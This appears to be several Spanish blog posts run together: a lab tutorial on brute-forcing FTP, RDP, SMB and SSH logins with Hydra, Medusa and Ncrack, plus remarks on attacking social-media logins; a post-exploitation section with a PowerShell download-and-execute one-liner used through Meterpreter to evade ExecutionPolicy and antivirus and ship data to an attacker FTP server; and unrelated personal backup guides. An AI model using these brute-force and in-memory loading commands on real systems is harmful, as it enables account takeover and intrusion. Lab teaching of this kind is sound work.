THC-Hydra, Medusa y Ncrack son herramientas para realizar ataques de fuerza bruta a servicios activos cliente/servidor como: ssh, ftp, rdp, smb, mysql, telnet, http, imap, vnc, etc.
Para mostrar el uso de estas herramientas usaré el siguiente escenario de ejemplos. Escaneando con nmap los equipos remotos y puertos empleados para cada tipo de servicio.
nmap -p 21 10.0.0.16 # Windows 7 servicio FTP
nmap -p 3389 10.0.0.16 # Windows 7 servicio RDP
nmap -p 445 10.0.0.16 # Windows 7 servicio SMB/CIFS
nmap -p 22 10.0.0.40 # Linux servicio SSH
Figura 1: Escaneo de puertos a máquina en servicios SSH, RDP, FTP y SMB.
THC-Hydra
Hydra es una de las herramientas más conocidas para este tipo de ataques a servicios online. Hay que tener en cuenta que este tipo de ataques son activos y no pasivos, por lo que hay una interacción con el servicio que vamos comprometer mediante un intento de autenticación de credenciales.
Esto creará un evento en el log de la máquina remota servidora del servicio, en el caso de tener algún tipo de control de eventos en el endpoint se podrían detectar intentos de conexión con credenciales erróneas y disparar alertas.
Principalmente se pueden definir 3 tipos de ataques:
Fuerza bruta por diccionario con múltiples usuarios y passwords
Fuerza bruta en profundidad
Fuerza bruta en anchura o Password spraying
Fuerza bruta por diccionario con múltiples usuarios y passwords
Este tipo de ataques se caracterizan por usar un wordlist tanto para un conjunto de usuarios y de contraseñas en plano previamente definidos. En el siguiente ejemplo hay nombres de usuarios y contraseñas definidos en los ficheros "users" y "wordlist" respectivamente a un intento de conexión a la máquina remota 10.0.0.16 que será un Windows 7 con un servicio FTP.
hydra -L users -P wordlist -vV 10.0.0.16 ftp
-L: Fichero que contiene la lista de usuarios.
-P: Fichero que contiene la lista de passwords.
-v: Modo verbose
-V: Muestra el intento por cada login+pass
10.0.0.16 ftp: Especificamos la IP de la máquina remota y el tipo de servicio.
El usuario "ventas" y la password "Pa$$w0rd123" serán las credenciales válidas para acceder al servicio FTP. Hydra probará intentos de conexión al servicio haciendo un barrido entre las distintas posibilidades combinatorias entre los distintos usuarios y contraseñas definidas.
Figura 2: Hydra - Fuerza bruta por diccionario con múltiples usuarios y passwords al servicio FTP.
Como ya comenté anteriormente, estos ataques son reconocimiento activos por lo que dejan un rastro en el log del servidor remoto. En la siguiente captura se puede ver el intento de conexión fallida al intentar autenticarse con el usuario "luis" y su password en el servidor FTP remoto.
Figura 3: Log en el servidor FTP del intento de autenticación.
Fuerza bruta en profundidad
Fuerza bruta en profundidad o fuerza bruta, a secas: Se trata utilizar muchas contraseñas para una sola cuenta de usuario.
Como ejemplo se realiza un ataque de fuerza bruta al servicio RDP a una cuenta concreta llamada "maria" y probar un wordlist con varias contraseñas posibles.
hydra -l maria -P wordlist -vV 10.0.0.16 rdp
-l: Nombre de usuario único.
-P: Fichero de lista de contraseñas.
Un detalle a tener en cuenta cuando realice los intentos de conexión es que si el user/pass son correctos cerrará la sesión del usuario actual que esté conectado a la máquina si lo hubiese.
Figura 4: Hydra - Fuerza bruta en profundidad al servicio RDP.
Al igual que el servicio anterior RDP también dejará un evento registrado en equipo remoto. Pudiendo ver la IP y puerto del equipo que intentó realizar la conexión así como que usuario intentó autenticarse.
Figura 5: Log en el equipo remoto por un intento de autenticación al servicio RDP.
Fuerza bruta en anchura o Password spraying
Fuerza bruta en anchura o Password spraying: Se trata de usar la misma contraseña para muchas cuentas de usuario.
Aprovechando el mismo escenario que en el ejemplo anterior, se muestra un ataque de password spraying en el servicio de recursos compartidos de Windows SMB.
hydra -L users -p M4ria.12 -vV 10.0.0.16 smb
-L: Fichero de lista de usuarios.
-p: Contraseña única.
Haciendo referencia a un fichero llamado "users" que contiene una lista de usuarios se le especifica una misma contraseña única.
Figura 6: Hydra - Fuerza bruta en anchura o password spraying al servicio SMB.
Como cualquier servicio de Windows de un protocolo conocido, al igual que los casos anteriores, se creará un evento relacionado obteniendo el nombre de usuario y equipo desde donde se intentó realizar la conexión de autenticación.
Figura 7: Log en el equipo remoto por un intento de autenticación al servicio SMB.
En cualquier caso cuando un usuario o password específico se usarán los argumentos -l o -p en minúscula y en el caso de hacer referencia a wordlists serán -L o -P en mayúscula.
Fuerza bruta en servicios web como Facebook o Instagram
Servicios que permitan una autenticación web, por ejemplo redes sociales como Facebook o Instagram también es posible realizar ataques de fuerza bruta, aunque el número de intentos es muy limitado y en el caso de fallar varias veces consecutivas es muy probable que la cuenta con la que estamos probando se desactive temporalmente como medida de seguridad, precisamente para evitar este tipo de ataques.
Lo primero sería conocer la IP que nos está respondiendo, no siempre será la misma, puede variar según la zona geográfica y el balanceador que nos responda. Con un simple "ping facebook.com" o "ping insgram.com" obtendremos la IP en ese momento.
Para el siguiente ejemplo cambiaremos de escenario. Un servidor SSH expuesto en un sistema Linux se intentará un ataque de fuerza bruta con wordlists de un conjunto de usuarios y passwords.
medusa -U users -P wordlist -h 10.0.0.40 -M ssh
-U: Fichero de lista de usuarios
-P: Fichero de lista de contraseñas
-h: Host remoto
-M: Tipo de módulo.
En la siguiente captura se pueden ver los intentos de conexión con las distintas combinaciones posibles entre user/pass.
Figura 9: Medusa - Fuerza bruta en profundidad al servicio SSH.
Al tratarse de un ataque de fuerza bruta, son ataques activos por lo que este tipo de conexiones también dejan un registro de log en el fichero /var/log/auth.log mostrando fecha, nombre de usuario, IP y puerto desde donde se intentó realizar la conexión de autenticación.
Figura 10: Log en la máquina remota del intento de autenticación al servicio SSH.
Ncrack
Ncrack desarrollada por nmap.org es otra herramienta alternativa a THC-Hydra y Medusa. Se caracteriza por su gran velocidad, su enfoque modular y la capacidad de escalar a múltiples hosts. Su sintaxis es similar a nmap.
Continuando el ejemplo anterior, realizamos un ataque de fuerza bruta al servicio SSH con un mismo usuario usando una wordlist de contraseñas.
ncrack -p 22 --user pepe -P wordlist 10.0.0.40
-p: Puerto estándar usando por el servicio.
--user: Nombre de usuario único.
-P: Fichero de lista de contraseñas.
Al igual que THC-Hydra y Medusa, Ncrack también deja su registro en el log. En la siguiente captura se observa como en un primer intento con el usuario juan no fue posible realizar la conexión con el usuario juan pero si con el usuario pepe, lo cual es correcto. Con una lista de 8 contraseñas posibles, en ambos el tiempo de comprobación fue de 3 segundos.
Figura 11: Ncrack - Fuerza bruta en profundidad al servicio SSH.
En un pentesting interno a sistemas, después de la fase de enumeración y poder comprometer una máquina Windows, es fundamental intentar recopilar la máxima información posible sobre dicha máquina, lo que se conoce como la fase de fingerprinting dentro de una post-explotación.
El uso de Powershell nos ayuda principalmente en las fases de post-explotación y fingerprinting para la recolección de información del sistema, usuarios y grupos locales, parches instalados, procesos en ejecución, servicios activos, etc.
En esta ocasión dejo referencia a un script que contiene una función de ejemplo recopilando varios datos de una máquina comprometida y posteriormente enviando estos datos de retorno a un servidor FTP escuchando en la máquina atacante.
Referencia del script Powershell en mi repositorio de Github:
Bypass ExecutionPolicy en Powershell usando funciones
Existen multitud de técnicas para la evasión de la política de ejecución de scripts en Powershell, sobre esto hablaré en otro artículo. Una de ellas es a través del uso de funciones y como se cargan en memoria en el provider de funciones.
Al usar una función a través de un script ps1, podemos importar este script a través de una sesión Meterpreter de Metasploit, cargándose en memoria en el provider de funciones de esa instancia Powershell de la máquina remota. No será necesario subir el script a la máquina remota escribiendo en disco, evitando así una posible detección por parte de los antivirus. Es script llevará como extensión .txt y estará alojado en un servidor web apache2, la forma de importarlo será a través del módulo powershell_shell de Meterpreter, una vez conectados ejecutamos un IEX (Invoke-Expression) con el cmdlet Invoke-WebRequest.
# Powershell v3.0 y superiores
IEX (Invoke-WebRequest -Uri 'http://web/script.txt' -UseBasicParsing)
Con una función cargada en memoria podremos hacer un bypass de la política de ejecución de scripts de Powershell, independientemente de cual esté establecida en la máquina remota.
En el siguiente vídeo se observa como la ExecutionPolicy está establecida en Restricted e igualmente podemos importar el script e invocar la función cargada en memoria.
Vídeo demo - PoC
He grabado un vídeo demo que muestra la PoC en la que se compromete una máquina en una fase de explotación típica a través de un fichero que contendrá el Payload de un Meterpreter y que estaremos a la escucha desde el handler de conexiones para establecer una sesión en Metasploit. Se importa el script en formato .txt con un método Invoke-WebRequest (en este caso el formato no tiene demasiada relevancia podría ser directamente .ps1), de esta forma haremos un bypass de la política de ejecución de Powershell en el caso de que estuviese en modo "Restricted". Este script se cargará como una función en memoria, invocándola desde ahí y evadiendo así la política de ejecución de script, recopilará información y la enviará de vuelta a un servidor FTP que estará a la escucha e la máquina Kali.
Una forma de realizar backups de ficheros o directorios independientes entre un sistema Windows y servidor FTP remoto y los ficheros a realizar el backup están en un recurso compartido CIFS (SMB) de Windows, si disponemos de un sistema Linux podremos montar en dos directorios el recurso compartido Windows y el servidor FTP remoto. A posteriori realizar la copia sincronizada con rsync entre el directorio montado con CIFS y el directorio remoto FTP donde se almacenará la copia.
Accedemos al sistema linux e instalamos los paquetes cifs-utils para poder montar sistemas de ficheros compartidos desde un sistema Windows y curlftpfs para montar el servidor FTP remoto.
sudo apt install -y cifs-utils
sudo apt install -y curlftpfs
Creamos un directorio para montar el recurso compartido Windows y otro para montar el espacio del servidor FTP remoto y otorgamos permisos de control total, aunque esto dependerá de la gestión de usuarios y grupos de como tengamos configurado el entorno Linux. (Como ejemplo se montará partiendo de /mnt).
mount -t cifs //server/compartida /mnt/cifsbackup -o username=user,password=passw,domain=dominio
//server/compartida: Será el recurso compartido cifs de Windows.
/mnt/cifsbackup: Directorio que se usará para montar el recurso cifs de Windows en la máquina Linux.
User, password y dominio: Será el usuario, contraseña y dominio si se trata de un usuario de dominio, si se trata de un usuario local de Windows sería el hostname de la máquina Windows.
Montamos el directorio del servidor FTP remoto en el directorio local de la máquina Linux. (Como ejemplo se montará partiendo de /mnt.)
curlftpfs user:passw@serverftp /mnt/ftpbackup
user: Usuario de acceso al servidor FTP.
passw: Password de acceso al servidor FTP.
serverftp: URL, IP o hostname de acceso al servidor FTP.
/mnt/ftpbackup: Directorio donde se montará el servidor FTP remoto en la máquina Windows.
Una vez montados ambos recursos solo queda realizar el backup y que sincronice los datos desde el recurso compartido cifs de Windows hacia el servidor FTP remoto, al estar montados en el sistema Linux estos se tratarían como directorios locales.
p: Preserva los permisos de los ficheros y directorios.
--log-file=/var/log/ficherolog: Almacena los resultados en un fichero de log.
/mnt/cifsbackup: Datos origen.
/mnt/ftpbackup: Datos destino.
Para desmontar los recursos de los directorios.
umount /mnt/ftpbackup
umount /mnt/smbbackup
Para automatizar este proceso podemos crear un fichero bash script .sh que monten ambos recursos, realize el backup con rsync, enviarse el fichero de log a una dirección de correo electrónico y finalmente desmontar ambos recursos para que no permanezacan en la máquina Linux si no lo deseamos.
Si queremos programar la ejecución de este script .sh a una fecha/hora concreta añadimos el script a una nnueva línea en /etc/crontab de modo que se ejecute de forma programada.
Para montar una carpeta de un directorio FTP o FTPS remoto en un sistema Linux y acceder a ella de forma local como un volumen más del sistema. Se puede usar CurlFtpFS o SSHFS.
CurlFtpFS
CurlFtpFS lo usaremos sino disponomes de conexión SSH hacia el servidor FTP remoto (la transferencia de datos es más lenta).
Instalamos curlftpfs.
sudo apt install curlftpfs
Creamos el directorio en el que montaremos el FTP/FTPS.
sudo mkdir /backups
Montamos la carpeta remota FTP en el sistema local.
Si queremos que se monte de forma persistente en el sistema, agregamos un nueva entrada al fichero /etc/fstab. Cambiaremos el uid según corresponda al usuario que tendrá acceso a la carpeta.
Hace tiempo que quería comentar el tema de como hago mis copias de seguridad de la información personal. Intentaré explicar de forma detallada y clara todo el proceso.
Se pueden realizar copias de seguridad de una manera u otra. Ya sea copiando directamente la información algún medio extraíble, subiéndola algún servicio de almacenamiento cloud, copias redundantes en ambos medios, etc. A su vez, cuantas más medidas de seguridad se tomen para cada una de estas técnicas, más segura estará la información, pero también más "pasos" habrá que desencadenar para llegar a ella.
En este caso expondré la forma en la que personalmente realizo mis copias de seguridad. Intento no utilizar, siempre que sea posible, aplicaciones locales o almacenamientos cloud de terceros bien conocidos como pueden ser: GoogleDrive, OneDrive, Dropbox, etc. Ya que actualmente son los servicios más extendidos y usados, por lo que tienen un vector de ataque continuo pero a su vez son servicios que están constantemente actualizándose, lo que los hacen ser "insuficientemente seguros".
En el caso de usar un servicio de terceros de almacenamiento cloud habría que intentar contratarlo en una empresa no tan extendida pero de confianza.
En mi caso tengo una carpeta con toda la información a respaldar, esta carpeta está ubicada en undisco duro extraíble protegido con un cifrado BitLocker To Go. Es decir, que cuando conectamos el disco duro extraíble a un puerto USB del equipo tenemos que introducir una password para desbloquearlo y así poder acceder a la información.
Primera medida de seguridad es el disco duro extraíble por lo que nunca tengo la información en el disco local del sistema ni en un segundo disco conectado directamente a ningún puerto SATA de la placa base.
Segunda medida de seguridad es el cifrado por BitLocker To Go. De este modo puedo llevarme el disco duro extraíble a cualquier parte y conectarlo a cualquier equipo con un sistema operativo MS Windows que admita BitLocker, sin recurrir a ningún software de terceros para el cifrado del disco, por que como ya dije, prefiero utilizar mecanismos propios de los sistemas operativos y así garantizar la disponibilidad de la información en un entorno Windows de forma nativa. No es el caso que voy a comentar pero también estaría la posibilidad de cifrar una unidad de almacenamiento externo USB con VeraCrypt. Otra buena alternativa a BitLocker To Go.
Tercer paso sería garantizar esta información en caso de pérdida, tener una redundancia. ¿Qué pasaría si en un futuro perdiese físicamente el disco duro extraíble o no pudiese acceder a el porque hubiese sido dañado?. Pues esta redundancia la tendríamos en un sitio de ubicado geográficamente distinto, un sitio de terceros. Actualmente tengo contratado un servicio de almacenamiento cloud en una empresa de Hosting, la cual es de mi confianza. Este servicio me ofrece un espacio FTP con un certificado SSL/TLS, por lo que puedo usar el canal de control y el de data para transferir información de forma segura mediante FTPS "FTP over SSL" (no confundir con SFTP "SSH-FTP"). Al realizar una sincronización con WinSCP de forma incremental cada vez que se actualizan los datos de local al servidor, los tiempos de copia son rápidos.
Otra opción en este tercer paso sería crear un fichero comprimido protegido con contraseña, generar ambos logs tanto de la compresión como de la subida al servidor FTP. El comprimir la información y cifrarla nos da una seguridad extra pero también el proceso de backup será más costoso en tiempo.
Cuarto paso sería automatizar esta tarea. Generar un script que pudiese realizar por ejemplo, una copia semanalmente de toda esta carpeta y la transfiera de forma síncrona a este espacio de almacenamiento vía FTPS. En Windows existe la característica de habilitar el cliente FTP por línea de comandos, pero no podemos usar certificados sobre este cliente. Por lo que obté en usar la herramienta WinSCP, esta incorpora una utilidad en línea de comandos (winscp.com) la cual podemos generar un script en batch en integrarla perfectamente.
Quinto paso hacer una llamada a un script de PowerShell .ps1 el cual envía el log a un correo electrónico al finalizar todo el proceso de backup con la finalidad de tener un registro de copias.
Script para el proceso de Backup y transferencia de información al servidor FTP
Si no somos usuarios administradores en el equipo local por seguridad, si no que usamos un usuario raso para el uso habitual de nuestro equipo, lo que sería más adecuado, para no tener problemas con los privilegios en el momento de ejecutar el script y las acciones que este realice, en este caso trabajaré sobre el direcctorio por defecto de instalación de WinSCP "C:\Program Files (x86)\WinSCP". Estableceremos los permisos de modificar o control total para el usuario local sobre el directorio.
Figura 1: Establecer permisos sobre el directorio donde se ejecutará el script batch.
Generamos un fichero por lotes .bat con el siguiente código:
@echo off
set ano=%date:~6,4%
set mes=%date:~3,2%
set dia=%date:~0,2%
set backup=backup_%dia%-%mes%-%ano%.log
if exist "backup*.log" ( del /F /Q "backup*.log" )
Figura 2: Script batch usando winscp.com para conexiones FTPS con sincronización de local a remoto.
Se establecen las variables con las que se obtendrán la fecha/hora actuales y otra (%backup%) para almacenar el nombre que tendrá el fichero con la estructura "backup_DD-MM-AAAA.log". Con un condicional se comprueba que el fichero "backup*.log" exista. Si ya existiese de una copia pasada lo eliminaría. Esta comprobación sería opcional para aquellos que quieran incluir un fichero de log. En caso de incluirlo aconsejo esta comprobación inicial, este fichero al paso del tiempo suele alcanzar un tamaño considerable, en más de una ocasión antes de haber incluido esta condición en el script llegó a ocupar tamaños superiores a 500MB, y un volumen importante de registros por lo que se hacía finalmente ilegible.
Iniciamos la utilidad winscp.com con el argumento /log para obtener un registro de la actividad realizada indicándole la variable "%backup%" correspondiente al nombre establecido que en ese momento se le asigne al fichero con fecha/hora actuales. Podemos indicar el nivel de depuración del log con el parámetro /loglevel esto nos dará más detalles de log.
La ventaja de utilizar el parámetro /log con winscp.com es que la password utilizada para la autenticación de conexión con el servidor FTP no se muestra en texto plano en el fichero de log, sino que aparace con tres asteríscos "***" sea cual sea la longitud de la contraseña. A diferencia de si se utilizara winscp.exe donde le pasaríamos el script en un fichero de texto a parte pero le indicaríamos igualmente el parámetro /log por ejemplo: winscp.exe /console /script="script_backup.txt" /log="myscript.log" (ver la figura 12 de este artículo). En este caso la contraseña en el fichero de log si se mostraría en texto plano siendo claramente visible.
A continuación indicaremos los parámetros realmente importantes, al usar
winscp.com en un script batch tendremos que indicarle el modificador /command
para que sepa que los próximos modificadores serán realizados en una
sola instrucción. Podríamos crear un fichero a parte con los mismos
modificadores del comando necesarios, en mi caso solamente realizo una
única transferencia por lo que he optado por unificarlo en un mismo
fichero de procesamiento por lotes .bat.
Abrimos la conexión al servidor FTP (open) y la invocamos de forma explícita (-explicit).
De esta forma el cliente solicita de forma explícita la seguridad
acordada para empezar la comunicación con el servidor FTP de modo que
tanto el canal de control como el de data sean cifrados.
synchronize remote: Los cambios del directorio local se actualizan con los remotos.
-delete: Elimina archivos obsoletos.
-mirror: Modo espejo (sincroniza también archivos antiguos).
-transfer=binary: Modo de transferencia binario, necesario por ejemplo para transferir ficheros de tipo imagen, vídeo, pdf, etc.
J:\ADRIAN: Directorio local (en este caso).
/Backup: Directorio remoto (en este caso).
Finalmente cerramos la conexión (close) y salimos de la sesión (exit).
Diferencias entre FTPS Explícito (FTPES) y FTPS Implícito
AUTH TLS o FTPS Explícito (FTPES): Definido en el RFC 2228,
el cliente se conecta al puerto habitual FTP (21) y comienza una sesión
FTP sin crifrar. Explícitamente cambia a un modo seguro utilizando TSL o
SSL para transferir la información.
FTPS Implícito:
El cliente asume el modo seguro con TSL o SSL, desde el inicio de la
conexión, se realiza la negociación SSL antes de que se realice la
transferencia de información. Habitualmente se utiliza el puerto 990 en
vez del habitual puerto 21. Más info.
Con esto conseguiremos que cada vez que se ejecute el script este solo hará un repaso a todos los ficheros tanto locales como remotos haciendo un espejo y adaptando solamente los cambios, con lo que conseguiremos una reducción de tiempo en futuras transferencias.
Otra opción del script para el proceso de backup
La otra opción que comentaba anteriormente para este paso y que nos dará un extra de seguridad pero más tiempo de espera en el proceso del backup, sería generar un fichero comprimido .zip con la herramienta de comandos que incorpora 7-zip. Incluir en una variable de entorno de Windows el path "%programfiles%\7-zip" para que desde cualquier ubicación se reconozca el binario ejecutable de comandos "7z.exe" y así no tener problemas en la ejecución del script.
Comprimir el directorio en un archivo protegido por contraseña en formato .zip. Indicar un destino temporal para el fichero comprimido creado y generar un log de este proceso.
Realizar la subida al servidor FTP del fichero comprimo, genarar otro log de este proceso.
Incluir los dos logs anteriores en un único fichero de log (el cual será el que se envíe por correo).
Eliminar los dos logs anteriores "sobrantes" y el fichero comprimido temporal de la copia.
@echo off
:: Fecha y Hora
set ano=%date:~6,4%
set mes=%date:~3,2%
set dia=%date:~0,2%
set hora=%time:~0,8%
set backuplog=backup_%dia%-%mes%-%ano%.log
set backupzip=Backup_%dia%-%mes%-%ano%.zip
:: Credenciales y Paths
set passwd7z=passwd7z
set pathTempFichero7z="pathTempFichero7z%backupzip%"
set pathLocalDatos="pathLocalDatos"
set pathRemotoFTP=pathRemotoFTP
set usuarioFTP=usuarioFTP
set passwdFTP=passwdFTP
set servidorFTP=servidorFTP
set conexionFTP=ftp://%usuarioFTP%:%passwdFTP%@%servidorFTP%
set fingerprintSSLFTP="xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx"
:: Comprobar si existen ficheros de log pasados del backup.
if exist "*backup*.log" ( del /F /Q "*backup*.log" )
:: Mostrar fecha y hora del comienzo del proceso de backup al princpio del log.
echo El backup comienza: %dia%-%mes%-%ano% - %hora% > %backuplog%
echo. >> %backuplog%
echo # # # # # # # # # # # # # # # # # # # # >> %backuplog%
:: Comprimir datos, generar log zip, agregarlo al backup log final y mostrar una línea de separación.
:: En caso de excluir directorios y ficheros añadir a la línea de 7z el parámetro -xr!"<directorio_fichero>" tantas veces como elementos a excluir de la compresión.
7z a -tzip -p%passwd7z% -r %pathTempFichero7z% %pathLocalDatos% > zip%backuplog%
:: Subir el fichero comprimido al servidor FTP, generar log FTP, añadirlo al log de backup y mostrar una línea de separación.
winscp.com /log="ftp%backuplog%" /loglevel=2 /command "open %conexionFTP% -explicit -certificate=%fingerprintSSLFTP%" "cd %pathRemotoFTP%" "rm Backup*.zip" "put %pathTempFichero7z%" "close" "exit"
:: Eliminar ficheros temporales: logs y fichero temporal backup zip.
del /F /Q "zip*.log"
del /F /Q "ftp*.log"
del /F /Q %pathTempFichero7z%
:: Comprobar la eliminación de ficheros de log y fichero temporal backup zip, insertar el resultado en el log.
:: Log de la compresión zip.
if exist "zip*.log" (
echo -- zip%backuplog% no se eliminó correctamente >> %backuplog%
) else (
echo -- zip%backuplog% se eliminó correctamente >> %backuplog%
)
:: Log del envío de datos al servidor FTP.
if exist "ftp*.log" (
echo -- ftp%backuplog% no se eliminó correctamente >> %backuplog%
) else (
echo -- ftp%backuplog% se eliminó correctamente >> %backuplog%
)
:: Fichero temporal backup zip
if exist "D:\Backup*.zip" (
echo -- %backupzip% no se eliminó correctamente >> %backuplog%
) else (
echo -- %backupzip% se eliminó correctamente >> %backuplog%
)
echo. >> %backuplog%
echo # # # # # # # # # # # # # # # # # # # # >> %backuplog%
:: Mostrar fecha y hora de la finalización del proceso de backup al final del log.
:: Se resetea la variable hora para obtener la hora actual hasta este momento del proceso de backup.
set hora=%time:~0,8%
echo El backup finaliza: %dia%-%mes%-%ano% - %hora% >> %backuplog%
:: Llamada al script Powershell para el envío del log vía Email.
powershell.exe -file "envio_log_email.ps1"
Los parámetros de compresión usando "7z.exe" dependerá de las opciones que cada uno quiera establecer, en mi caso.
a: añade información (comprime)
-t: indica el tipo de formato (zip en este caso)
-r: Recursividad en subdirectorios.
-p: Password para cifrar el fichero comprimido
Un ejemplo sería.
Figura 3: Otra opción para el proceso de backup. Comprimir la
información, cifrarla, enviarla al FTP y borrar los ficheros temporales.
Realizará una comprobación de si existe ya algún fichero log pasado, si existe los eliminará y generará también dos log (temporales), uno para el proceso de compresión de la información y otro log para el proceso de transferencia de información al servidor FTP. Finalmente generará un único fichero con los dos logs anteriores juntos que será el que se envíe por correo a través de la llamada al script de PowerShell el cual hará el proceso de envío (este punto está detallado en el último apartado de este artículo).
Inicialmente, justo antes de la compresión, añado la fecha y hora actual en el principio del fichero de log principal para saber cuando se inició la copia, ya que el log de compresión con 7z.exe no muestra valores de tiempo en su proceso. Es el momento en el que se crea el fichero de log principal y final, que se enviará por correo.
Después eliminará los logs temporales creados y el fichero comprimido temporal cuando ya haya sido subido al servidor FTP.
Opcionalmente se hacen unas comprobaciones para saber si se eliminaron tanto los logs temporales como el fichero comprimido temporal y adjuntar este resultado al log de backup principal con formato de fecha actual. Finalmente se envía este fichero de log final a un correo electrónico (script PowerShell detallado al final de este artículo).
Comentar que para este estilo de copia (compresión de la información y subida al servidor sin usar sincronización con WinSCP) el tiempo total del backup desde la compresión del archivo a la subida al servidor FTP, es de unas 2 horas y 25 minutos aprox. (quizás algo menos dependiendo el tipo de conexión que tengamos y los límites al servidor FTP si es que los hay) para un tamaño total de copia de unos 45GB.
Crear una tarea programada para el proceso de backup
Una vez que tenemos generado el script, tendremos que ejecutarlo manualmente y eso no sería práctico, llegados a este punto lo mejor será automatizar este script para que por ejemplo se ejecute un día y hora en concreto de la semana.
Para no recurrir a herramientas de terceros usaremos el "Programador de tareas" de Windows (taskschd.msc).
Creamos una nueva tarea. Como desencadenador será según una programación, semanalmente los Domingos a las 22:00. En mi caso lo tengo así programado ya que se que ese día de la semana y a esa hora suelo tener equipo encendido.
Figura 4: Estableciendo el desencadenador de la tarea programada.
Las acción será iniciar un programa o script, indicamos el path de la ruta donde se encuentra el script. En mi caso no quería crear una variable de entorno de Windows por lo que tengo que indicarle al sistema donde se encuentra la utilidad winscp.com, por lo que le indico donde se debería iniciar el path en "Iniciar en".
Figura 5: Estableciendo la acción para ejecutar el script.
La configuración de la tarea programada la establecí del siguiente modo. Si la tarea no se ejecuta, reiniciarla cada 1 minuto durante un número de intentos de 5 veces y si sobrepasa las 12 horas de ejecución detener la tarea.
Figura 6: Configuración de la tarea programada.
Finalmente en la pestaña general designamos un nombre a la tarea programada. Una vez llegados a este punto tendremos dos opciones:
- Ejecutar solo cuando usuario haya iniciado sesión: En este caso veremos la ventana de la consola de Windows ejecutando todo el proceso.
- Ejecutar tanto si el usuario inició sesión como si no: En este caso la tarea se ejecutará de forma subyacente al usuario. Aconsejo esta opción ya que nos garantiza la ejecución de la tarea tan solo con tener encendido el equipo. Por lo que pude comprobar al intentar ejecutar esta tarea de forma manual a través del programador de tareas puede que falle. Sin embargo, al ejecutarse automáticamente según la programación establecida se ejecutará sin problemas.
Si escogemos la primera opción no tendremos problemas. Pero si escogemos la segunda opción ya que puede darse el caso de que no estemos con la sesión iniciada en el equipo pero el equipo esté encendido (y con el BitLocker desbloqueado en este caso). Al intentar establecer la tarea nos dirá que "la cuenta de usuario especificada tenga derechos para iniciar sesión como trabajo por lotes". Esto ocurre por que en mi caso el usuario que habitualmente uso en el sistema por seguridad no está dentro del grupo Administradores, sino dentro del grupo Usuarios y por lo tanto no tiene los suficientes permisos como para llevar a cabo esta acción.
Figura 7: Ejecutar tarea programada tanto si el usuario inicia sesión como si no.
Para ello solamente tendremos que agregar la cuenta de usuario en el editor de directivas seguridad local (a través de la consola de Microsoft "gpedit.msc" o directamente "secpol.msc") buscamos "Iniciar sesión como proceso por lotes" y agregamos el usuario.
Figura 8: secpol.msc - Iniciar sesión como proceso por lotes para una tarea programada.
De este modo ya podremos autenticar con las credenciales del usuario local, independientemente de si se marca el checkbox de "No almacenar contraseña" como si no.
Figura 9: Autenticación de credenciales del usuario local para tarea programada.
Para poder hacer un seguimiento de la ejecución de la tarea programada habilitamos el historial. Esta opción afectará a todas las tareas programadas que tengamos en la biblioteca.
Figura 10: Habilitar el historial de las tareas programadas.
Una vez se ejecute y concluya la tarea, en la pestaña de historial veremos la auditoria de información de tiempos. Para hacerse una idea, en mi caso, según mi conexión de DSL y el ancho de banda contratado con el Hosting que me proporciona el server FTP. En menos de 45 minutos se hicieron transferencias de un total aproximado de 50GB (aunque esto dependerá del tipo de conexión que tengamos así como si hay algún límite de súbida con el servidor FTP).
Figura 11: Historial de la tarea programada.
Si consultamos el fichero .log que creamos para el registro de actividad de conexiones y transferencias hacia el servidor FTPS. Vemos como la conexión se realiza de forma explícita solicitando el certificado al servidor FTP y finalmente se establece la conexión TLS.
Figura 12: Fichero de log de las transferencias realizadas al servidor FTPS.
Enviar el log por correo electrónico con un Script automatizado en PowerShell
Mencionar la posibilidad de poder auto-enviarse este log generado anteriormente a través de un correo electrónico y así tener un registro más clasificado por fechas.
Se me ocurrió crear un fichero .ps1 (PowerShell) que será el script que enviará el mensaje de correo electrónico con el fichero log como adjunto. E incluir una llamada a al fichero .ps1 al final del script batch que hace la copia de seguridad con WinSCP. De ese modo se garantiza que el fichero log esté finalizado. Con este método no se tendrá que modificar la tarea programada.
Habilitar la ejecución de scripts para Powershell
Para poder ejecutar scripts en PowerShell sin problemas, se tendrá que cambiar la política de ejecución (ExecutionPolicy). En un principio no están definidas y por seguridad vienen deshabilitados todos los tipos de ejecuciones para los scopes.
Existen varios modos de políticas de ejecución para definir en PowerShell:
Restricted: Bloquea todos los scripts en PowerShell y hace que todas las tareas deban ejecutarse de forma interactiva, nada automático. Es la política por defecto.
Unrestricted: Puede ejecutar cualquier script, sin restricciones. Si se ejecuta un script sin firmar muestra una advertencia al usuario.
RemoteSigned: Puede ejecutar scripts que han sido creados en la máquina local sin ser firmados. Pero los paquetes descargados deben estar firmados antes de poder instalarlos. Conlleva el riesgo de que no es necesario que los scripts locales vayan firmados digitalmente. Para ejecutar scripts descargados de internet (sin firmar) es necesario usar la opción Unblock-File. Es la política por defecto para Windows Server.
AllSigned: Solo puede ejecutar paquetes y scripts firmados digitalmente por un publicador de confianza, incluidos los scripts escritos en el equipo local.
Bypass: Similar a Unrestricted, con la diferencia de que no alerta de riesgos al usuario. Suele utilizarse en integraciones de PowerShell con otras aplicaciones, en las que funciona en una capa inferior, dado que dichas aplicaciones cuentan con un modelo de seguridad propio.
Undefined: No se establece explícitamente ninguna de las directivas anteriores. Por defecto sería Restricted.
Default: Establece la política de ejecución predeterminada. Restricted para clientes de Windows y RemoteSigned para Windows Server
Para esta situación puede servir tanto el modo de ejecución RemoteSigned como Unrestricted.
Listamos el tipo de políticas de ejecución y esteblecemos el tipo de política para el scope LocalMachine como Unrestricted. Aunque también sería válido para este caso RemoteSigned. Aclarar que esto no es una forma segura.
Figura 13: Estableciendo el modo de política de ejecución (ExecutionPolicy) para PowerShell
Lo óptimo sería ejecutar desde el fichero bat la llamada al fichero ps1, habilitando únicamente en ese contexto el Bypass para la ejecución de scripts en Powershell.
Una vez se puedan ejecutar scripts en PowerShell se crea un documento de texto en el mismo directorio y se renombra con una extensión .ps1 (extensión usada por PowerShell) por ejemplo "envio_log_email.ps1". Se inserta el siguiente código.
Figura 14: Script ps1 Powershell - Envío del fichero de log a una cuenta de correo Gmail.
Este script en Powershell auto-enviará un mensaje de correo a una misma cuenta de correo electrónicou otra si lo establecemos.
